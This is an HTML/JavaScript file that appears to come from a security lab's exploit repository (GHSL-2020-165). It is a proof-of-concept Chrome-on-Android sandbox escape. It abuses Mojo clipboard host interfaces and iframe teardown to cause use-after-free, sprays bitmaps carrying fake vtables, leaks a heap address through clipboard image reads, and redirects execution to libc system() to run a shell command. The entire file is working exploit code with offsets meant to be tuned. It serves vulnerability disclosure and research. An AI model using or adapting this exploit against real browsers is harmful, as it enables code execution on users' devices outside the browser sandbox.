SecurityExploits/Chrome/SandboxEscape/GHSL-2020-165/payment_request_clip.html (174 lines of code) (raw):

<html> <head> <script src="mojo_bindings.js"></script> <script src="third_party/blink/public/mojom/clipboard/clipboard.mojom.js"></script> <script> //Change these to the actual value before running const libhwuiOffset = 0x75d8dd4000n; const libcOffset = 0x75d962c000n; //Points to Execute in libwebp, offset from libhwui const executeOffset = 0x7db9a0n; const bitWriterOffset = 0x803e30n; //Offset to system in libc const systemOffset = 0x925b0n; //The offset of GetRoutingID in rfh's vtable const getRoutingIDOffset = 0x48n; const ifrmUrl = 'payment_request_clip2.html'; const jamUrl = 'payment_request_jam_clip.html'; const reloadUrl = 'payment_request_clip.html'; const command = 'touch /data/data/org.chromium.chrome/pwn'; //Up to 32 bytes maybe written by bit writer. const commandOffset = 0x28; clipboards = []; dataClipboards = []; images = []; function sleep(miliseconds) { var currentTime = new Date().getTime(); while (currentTime + miliseconds >= new Date().getTime()) { } } function computeAddress(image1, image2) { let addrBuffer = new ArrayBuffer(8); let addrIntView = new Uint8Array(addrBuffer); for (let i = 8; i < 8 + 5; i++) { if (i != 11) { addrIntView[i - 8] = image1[i]; } else { addrIntView[i - 8] = image2[i]; } } let addrBigIntView = new BigUint64Array(addrBuffer); return addrBigIntView[0]; } function createIframe(id, src) { let iframe = document.createElement('iframe'); iframe.style.display="none"; iframe.setAttribute('id', id); if (src !== undefined) { iframe.src = src; } document.body.appendChild(iframe); } function removeIframe(id) { let frame = document.getElementById(id); frame.parentNode.removeChild(frame); } function runCommand(addr) { window.location = reloadUrl + '?addr=' + addr.toString(); } function readClipboard() { clipboards[0].commitWrite(); sleep(1000); clipboards[0].readImage(1).then(readImg); sleep(500); clipboards[1].commitWrite(); sleep(1000); clipboards[1].readImage(1).then(readImg); } function readImg(image) { if (image.image === null) { console.log('Failed to obtain read clipboard'); window.location = reloadUrl; } let imageData = new Uint8Array(image.image.pixelData.bytes); images.push(imageData); if (images.length == 2) { let addr = computeAddress(images[0], images[1]); if (addr < 0xffffffffn) { console.log('Failed to obtain address: ' + addr.toString(16)); window.location = reloadUrl; } console.log('addr: ' + addr.toString(16)); runCommand(addr); } } function readAddress(bitmap1, bitmap2) { createIframe('ifrm', ifrmUrl); createIframe('ifrm1', ifrmUrl); createIframe('jam', jamUrl); setTimeout(()=> { removeIframe('ifrm'); clipboards[0].writeImage(bitmap1); removeIframe('ifrm1'); clipboards[1].writeImage(bitmap2); dataClipboards[29].ptr.reset(); dataClipboards[30].ptr.reset(); setTimeout(readClipboard, 3000); }, 3000); } function createBitmap(alphaType, width, vtable) { let data = new ArrayBuffer(width * width * 4); if (vtable !== undefined) { let view = new BigUint64Array(data); view[0] = vtable; } let colorSpace = new Array(9); let imageInfo = new skia.mojom.ImageInfo(); imageInfo.colorType = 4; imageInfo.alphaType = alphaType; imageInfo.serializedColorSpace = colorSpace; imageInfo.width = width; imageInfo.height = width; let bigBuffer = new mojoBase.mojom.BigBuffer(); bigBuffer.bytes = new Uint8Array(data); let bitmap = new skia.mojom.Bitmap(); bitmap.imageInfo = imageInfo; bitmap.rowBytes = width * 4; bitmap.pixelData = bigBuffer; return bitmap; } function createClipboards(n, clipboardArr) { for (let i = 0; i < n; i++) { let clipboard_ptr = new blink.mojom.ClipboardHostPtr(); Mojo.bindInterface(blink.mojom.ClipboardHost.name, mojo.makeRequest(clipboard_ptr).handle); clipboardArr.push(clipboard_ptr); } } function sprayCommand() { let dataBitmap = createBitmap(1, 16); let data = dataBitmap.pixelData.bytes; for (let i = 0; i < command.length; i++) { data[commandOffset + i] = command.charCodeAt(i); } for (let i = 0; i < dataClipboards.length; i++) { dataClipboards[i].writeImage(dataBitmap); } } function load() { let addrIdx = window.location.href.search('addr'); if (addrIdx == -1) { let vtable = libhwuiOffset + bitWriterOffset - getRoutingIDOffset; createClipboards(2, clipboards); createClipboards(32, dataClipboards); sprayCommand(); let bitmap1 = createBitmap(1, 32, vtable); let bitmap2 = createBitmap(2, 32, vtable); readAddress(bitmap1, bitmap2); } else { createClipboards(1, clipboards); sleep(2000); let addr = BigInt(window.location.href.substring(addrIdx + 5)); if (addr == 0) { window.location = reloadUrl; } let vtable = libhwuiOffset + executeOffset - getRoutingIDOffset; let bitmap = createBitmap(1, 32, vtable); //fake WebPWorker let view = new BigUint64Array(bitmap.pixelData.bytes.buffer); view[2] = libcOffset + systemOffset; view[3] = addr + BigInt(commandOffset); createIframe('ifrm', ifrmUrl); createIframe('jam', jamUrl); setTimeout(() => { removeIframe('ifrm'); clipboards[0].writeImage(bitmap); console.log('done'); }, 3000); } } </script> <body onload="load()"> <a href="payment_request_clip.html">reload</a> </body> </html>